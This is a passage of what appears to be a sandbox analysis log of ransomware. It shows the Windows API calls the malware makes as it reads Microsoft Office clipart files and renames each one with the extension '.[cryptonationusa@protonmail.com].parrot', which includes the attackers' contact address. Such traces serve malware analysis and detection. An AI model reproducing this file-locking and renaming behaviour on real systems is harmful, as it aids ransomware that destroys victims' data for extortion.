hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.145] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.146] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.146] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb80, lpOverlapped=0x0) returned 1 [0131.147] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.147] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc98, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.147] CloseHandle (hObject=0x1b0) returned 1 [0131.147] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.150] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2290, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.150] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.150] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.151] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.151] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2178, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2178, lpOverlapped=0x0) returned 1 [0131.152] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.152] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2290, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.152] CloseHandle (hObject=0x1b0) returned 1 [0131.152] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.156] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.156] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.156] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.158] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.158] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4c4, lpOverlapped=0x0) returned 1 [0131.159] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.159] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.159] CloseHandle (hObject=0x1b0) returned 1 [0131.159] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.197] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x271e, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.197] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.197] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.199] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.199] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2606, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2606, lpOverlapped=0x0) returned 1 [0131.200] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.201] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x271e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.201] CloseHandle (hObject=0x27c) returned 1 [0131.201] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.204] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2694, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.204] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.204] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.206] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.206] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x257c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x257c, lpOverlapped=0x0) returned 1 [0131.207] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.207] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2694, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.207] CloseHandle (hObject=0x27c) returned 1 [0131.207] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.210] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4390, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.210] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.210] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.211] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.211] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4278, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4278, lpOverlapped=0x0) returned 1 [0131.213] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.213] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4390, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.213] CloseHandle (hObject=0x27c) returned 1 [0131.214] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.216] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x562e, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.216] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.216] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.218] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.218] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5516, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5516, lpOverlapped=0x0) returned 1 [0131.219] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.219] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x562e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.219] CloseHandle (hObject=0x27c) returned 1 [0131.219] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.222] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8b2a, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.222] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.222] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.224] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.224] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8a12, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8a12, lpOverlapped=0x0) returned 1 [0131.226] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.226] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8b2a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.226] CloseHandle (hObject=0x27c) returned 1 [0131.227] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.229] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x83b2, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.229] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.229] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.231] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.231] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x829a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x829a, lpOverlapped=0x0) returned 1 [0131.234] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.234] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x83b2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.235] CloseHandle (hObject=0x27c) returned 1 [0131.235] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.237] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3876, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.237] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.238] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.246] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.247] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x375e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x375e, lpOverlapped=0x0) returned 1 [0131.248] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.249] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3876, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.249] CloseHandle (hObject=0x27c) returned 1 [0131.249] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.253] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4ed2, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.253] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.253] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.254] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.254] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4dba, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4dba, lpOverlapped=0x0) returned 1 [0131.256] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.256] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4ed2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.256] CloseHandle (hObject=0x27c) returned 1 [0131.256] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.261] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3e58, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.261] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.261] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.262] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.262] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d40, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3d40, lpOverlapped=0x0) returned 1 [0131.263] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.264] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3e58, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.264] CloseHandle (hObject=0x27c) returned 1 [0131.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.267] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x542c, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.267] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.267] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.268] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.268] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5314, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5314, lpOverlapped=0x0) returned 1 [0131.269] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.270] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x542c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.270] CloseHandle (hObject=0x27c) returned 1 [0131.270] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.272] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb870, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.272] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.272] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.274] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.274] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb758, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb758, lpOverlapped=0x0) returned 1 [0131.276] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.277] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb870, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.277] CloseHandle (hObject=0x27c) returned 1 [0131.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.281] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ea8, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.281] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.281] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, 